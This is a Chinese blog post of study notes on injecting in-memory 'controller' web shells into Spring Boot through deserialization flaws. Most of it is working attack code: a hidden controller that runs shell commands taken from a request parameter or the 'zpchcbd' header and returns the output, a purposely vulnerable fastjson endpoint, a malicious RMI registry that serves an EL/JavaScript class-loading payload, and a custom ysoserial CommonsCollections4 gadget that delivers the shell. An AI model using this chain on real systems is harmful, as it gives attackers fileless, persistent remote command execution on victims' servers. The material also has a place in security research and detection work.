SpringBoot Controller 内存马 / yso定制

前言:学习spring系列controller内存马的笔记

参考文章:https://www.cnblogs.com/bitterz/p/14820898.html#11-fastjson反序列化和jndi
参考文章:https://www.anquanke.com/post/id/198886#h3-8

什么时候用到内存马

1、反序列化漏洞(有依赖可利用)

2、目标不出网

3、想要回显信息

controller内存马注入复现

可以看到成功打印了生成的控制器

访问:http://localhost:8080/asdasd?cmd=calc ,可以看到命令是执行成功了,弹出对应的calc

实现controller 内存马

url和Controller类的映射关系

跟tomcat的filter等对象类似,如果想要注入一个内存马,那么就需要找到注册controller控制器的关键过程,从而实现动态添加controller内存马。

我查阅的文档资料是:https://blog.csdn.net/Message_lx/article/details/107861905

这里直接在AbstractHandlerMethodMapping类中打上断点来进行调试

org/springframework/web/servlet/handler/AbstractHandlerMethodMapping.java

通过官方的注释可以看出来,这个类就是实现 一个request请求和需要调用哪个方法 之间映射关系的实现类

initHandlerMethods方法上打上断点,如下图所示,然后进行调试

对每个要注册的Bean来调用processCandidateBean方法

如何isHandler符合的话就会进入到该判断语句中调用detectHandlerMethods,这里来看下相关的isHandler方法,可以看到需要满足被标记的注解为Controller.class 或者是 RequestMapping.class 才可以

如果当前的Bean被注解为Controller.class 或者是 RequestMapping.class,那么就进入到detectHandlerMethods方法中

其中每次都会对当前的控制器中的方法将其作为参数,调用getMappingForMethod方法

这里需要注意了,MethodIntrospector.selectMethods中第二个参数是一个回调方法,该方法其中会调用这个getMappingForMethod是重点方法,它做了如下的步骤

1、通过createRequestMappingInfo方法以当前控制器下的method作为变量,创建了一个RequestMappingInfo的对象

2、通过createRequestMappingInfo方法以当前控制器下的handlerType作为参数,创建了一个RequestMappingInfo的对象

接着下面还有一段循环操作,如下图所示

其中的registerHandlerMethod方法,就会将一个控制器中所有的方法都注册到对应的mapping中

具体操作如下图,这个自己可以进行调试下

最后将其每个方法都注册到registry中

可以看到当前控制器有两个方法,这里会将两个方法都注册到registry中去

分析

这里重点就看RequestMappingInfo这个对象,上面的图中其实最后的步骤就是一个RequestMappingInfo对象,然后将其注册到当前spring的registry中去

那么RequestMappingInfo我们可以进行自定义,拿个对象来观察下其中的属性,可以看到重点的属性有

patternsCondition:对应的请求地址
handlerMethod:对应的请求方法
methodsCondition :对应的请求方式

{RequestMappingInfo@7102} "{POST [/upload]}" -> {AbstractHandlerMethodMapping$MappingRegistration@7183} 
 key = {RequestMappingInfo@7102} "{POST [/upload]}"
  name = null
  pathPatternsCondition = null
  patternsCondition = {PatternsRequestCondition@7188} "[/upload]"
  methodsCondition = {RequestMethodsRequestCondition@7189} "[POST]"
  paramsCondition = {ParamsRequestCondition@7190} "[]"
  headersCondition = {HeadersRequestCondition@7191} "[]"
  consumesCondition = {ConsumesRequestCondition@7192} "[]"
  producesCondition = {ProducesRequestCondition@7193} "[]"
  customConditionHolder = {RequestConditionHolder@7194} "[]"
  hashCode = 1684276773
  options = {RequestMappingInfo$BuilderConfiguration@6865} 
 value = {AbstractHandlerMethodMapping$MappingRegistration@7183} 
  mapping = {RequestMappingInfo@7102} "{POST [/upload]}"
  handlerMethod = {HandlerMethod@7129} "com.zpchcbd.controller.FormController#upload(String, String, MultipartFile, MultipartFile[])"
  directPaths = {HashSet@7137}  size = 1
  mappingName = "FC#upload"
  corsConfig = false

然后通过刚才的分析可以看到,主要进行注册的类是AbstractHandlerMethodMapping对象,其中就放置了我们要注册的对象RequestMappingInfo

所以这里需要找到这个对象,方法如下,可以直接在IOC容器中进行获取

// 1. 利用spring内部方法获取context
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 2. 从context中获得 RequestMappingHandlerMapping 的实例
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);

最后理清下思路:

1、创建一个RequestMappingInfo对象,将对应实现的方法,请求地址等需要的信息都赋值到该对象中

2、然后通过IOC容器获取RequestMappingHandlerMapping(AbstractHandlerMethodMapping的实现类),调用RequestMappingHandlerMapping的registerMapping方法来进行对应的控制器和方法的绑定

这里有个问题我没研究过,就是在注册完RequestMappingHandlerMapping之后,为什么这个控制器就会自动生效?这个地方我不太懂

想法:可能是registerMapping调用完之后,相关的spring容器会将新的controller放置到IOC容器中,我自己是这么猜想的,但是没有代码验证。

最终实现的代码如下,测试版本springboot 2.5.6

控制器类

public class InjectToController {
    public InjectToController(){

    }

    public void test() throws Exception {
        // 获取request和response对象
        HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
        HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
        // 获取cmd参数并执行命令
        System.out.println(request.getParameter("cmd"));
        java.lang.Runtime.getRuntime().exec(request.getParameter("cmd"));
    }
}

注入方法

    @ResponseBody
    @RequestMapping(value = "/inject", method = RequestMethod.GET)
    public String inject(){
        try {
            // 1. 利用spring内部方法获取context
            WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
            // 2. 从context中获得 RequestMappingHandlerMapping 的实例
            RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
            // 3. 通过反射获得自定义 controller 中的 Method 对象
            Method method = InjectToController.class.getMethod("test");
            // 4. 定义访问 controller 的 URL 地址
            PatternsRequestCondition url = new PatternsRequestCondition("/asdasd");
            // 5. 定义允许访问 controller 的 HTTP 方法(GET/POST)
            RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
            // 6. 在内存中动态注册 controller
            RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);

            InjectToController injectToController = new InjectToController();
            mappingHandlerMapping.registerMapping(info, injectToController, method);
            return "inject ok...";
        }catch (Exception ex)
        {
            return "inject fail...";
        }
    }

模拟反序列化实现

这里用fastjson反序列化 jndi注入来进行模拟

自己模拟接口存在反序列化漏洞,如下图所示

@Controller
public class SerializeController {
    /**
     * test fastjson jndi inject for memory shell.
     * */
    @ResponseBody
    @RequestMapping(value = "fastjson_serialize", method = RequestMethod.POST)
    public String test01(@RequestBody String payload){
        Object object2 = JSON.parse(payload);
        return object2.toString();
    }
}

内存马:

其中的SpringBootMemoryShellOfController springBootMemoryShellOfController = new SpringBootMemoryShellOfController("aaa");,我需要讲下为什么要这样写?

原因就是如果调用的还是默认的无参构造函数会导致递归调用,所以这里防止递归调用,就调用一个有参数的即可。

package com.zpchcbd.jndi.objectfactory.rmibypass;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestAttributes;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.lang.reflect.Method;

public class SpringBootMemoryShellOfController extends AbstractTranslet {

    public SpringBootMemoryShellOfController() throws Exception{
        // 1. 利用spring内部方法获取context
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        // 2. 从context中获得 RequestMappingHandlerMapping 的实例
        RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
        // 3. 通过反射获得自定义 controller 中的 Method 对象
        Method method = SpringBootMemoryShellOfController.class.getMethod("test");
        // 4. 定义访问 controller 的 URL 地址
        PatternsRequestCondition url = new PatternsRequestCondition("/asdasd");
        // 5. 定义允许访问 controller 的 HTTP 方法(GET/POST)
        RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
        // 6. 在内存中动态注册 controller
        RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);

        SpringBootMemoryShellOfController springBootMemoryShellOfController = new SpringBootMemoryShellOfController("aaa");
        mappingHandlerMapping.registerMapping(info, springBootMemoryShellOfController, method);
    }

    public SpringBootMemoryShellOfController(String test){

    }

    public void test() throws Exception{
        // 获取request和response对象
        HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
        HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
        // 获取cmd参数并执行命令
        String cmd = request.getHeader("zpchcbd");
        if(cmd != null && !cmd.isEmpty()){
            String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
            response.getWriter().println(res);
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

自己再起一个RMI服务

public class RMIReferenceServerTest  {
    public static void main(String[] args) throws Exception{

        System.out.println("Creating evil RMI registry on port 9527");
        LocateRegistry.createRegistry(9527);

        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
        ref.add(new StringRefAddr("forceString", "x=eval"));
        String payload = "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"replacement\")";
        String replacement = payload.replace("replacement", injectMemshell(SpringEchoTemplate.class));
        System.out.println(replacement);
        ref.add(new StringRefAddr("x", replacement));

        ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);

        Naming.bind("rmi://192.168.0.108:9527/AAAAAA", referenceWrapper);
        System.out.println("RMI服务启动成功,服务地址:" + "rmi://192.168.0.108/AAAAAA");

    }

    public static String injectMemshell(Class clazz){
        String classCode = null;
        try{
            classCode = Utils.getClassCode(clazz);
        }catch(Exception e){
            e.printStackTrace();
        }

        String code = "var bytes = org.apache.tomcat.util.codec.binary.Base64.decodeBase64('" + classCode + "');\n" +
                "var classLoader = java.lang.Thread.currentThread().getContextClassLoader();\n" +
                "try{\n" +
                "   var clazz = classLoader.loadClass('" + clazz.getName() + "');\n" +
                "   clazz.newInstance();\n" +
                "}catch(err){\n" +
                "   var method = java.lang.ClassLoader.class.getDeclaredMethod('defineClass', ''.getBytes().getClass(), java.lang.Integer.TYPE, java.lang.Integer.TYPE);\n" +
                "   method.setAccessible(true);\n" +
                "   var clazz = method.invoke(classLoader, bytes, 0, bytes.length);\n" +
                "   clazz.newInstance();\n" +
                "};";

        return code;
    }
}

然后访问 http://localhost:8081/asdasd ,header头为zpchcbd 命令为calc,如下图所示

controller的缺点

在对于存在相关的拦截器的时候,controller内存马就无法进行利用,原因就在于拦截器的调用顺序在controller之前,所以controller不能作为通用的内存马来进行使用。

定制化yso版本

public class SpringBootMemoryController extends AbstractTranslet {

    public SpringBootMemoryController() throws Exception{
        // 1. 利用spring内部方法获取context
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        // 2. 从context中获得 RequestMappingHandlerMapping 的实例
        RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
        // 3. 通过反射获得自定义 controller 中的 Method 对象
        Method method = SpringBootMemoryController.class.getMethod("test");
        // 4. 定义访问 controller 的 URL 地址
        PatternsRequestCondition url = new PatternsRequestCondition("/asdasd");
        // 5. 定义允许访问 controller 的 HTTP 方法(GET/POST)
        RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
        // 6. 在内存中动态注册 controller
        RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);

        SpringBootMemoryController springBootMemoryShellOfController = new SpringBootMemoryController("aaaaaaa");
        mappingHandlerMapping.registerMapping(info, springBootMemoryShellOfController, method);
    }

    public SpringBootMemoryController(String test){

    }

    public void test() throws Exception{
        // 获取request和response对象
        HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
        HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
        // 获取cmd参数并执行命令
        String command = request.getHeader("zpchcbd");
        if(command != null){
            try {
                java.io.PrintWriter printWriter = response.getWriter();
                String o = "";
                ProcessBuilder p;
                if(System.getProperty("os.name").toLowerCase().contains("win")){
                    p = new ProcessBuilder(new String[]{"cmd.exe", "/c", command});
                }else{
                    p = new ProcessBuilder(new String[]{"/bin/sh", "-c", command});
                }
                java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
                o = c.hasNext() ? c.next(): o;
                c.close();
                printWriter.write(o);
                printWriter.flush();
                printWriter.close();
            }catch (Exception ignored){

            }
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

这里用的是cc4生成的利用poc

public class CommonsCollections4_SpringbootMemoryController implements ObjectPayload<Queue<Object>> {

    public Queue<Object> getObject(final String ... command) throws Exception {
        Object templates = Gadgets.createTemplatesImpl(ysoserial.payloads.SpringBootMemoryController.class);

        ConstantTransformer constant = new ConstantTransformer(String.class);

        // mock method name until armed
        Class[] paramTypes = new Class[] { String.class };
        Object[] args = new Object[] { "foo" };
        InstantiateTransformer instantiate = new InstantiateTransformer(
            paramTypes, args);

        // grab defensively copied arrays
        paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
        args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");

        ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });

        // create queue with numbers
        PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
        queue.add(1);
        queue.add(1);

        // swap in values to arm
        Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);
        paramTypes[0] = Templates.class;
        args[0] = templates;

        return queue;
    }

    public static void main(final String[] args) throws Exception {
        PayloadRunner.run(CommonsCollections4_SpringbootMemoryController.class, args);
    }
}

发送payload,同样成功进行注入内存马

posted @ 2021-11-30 17:03  zpchcbd  阅读(2531)  评论(0编辑  收藏  举报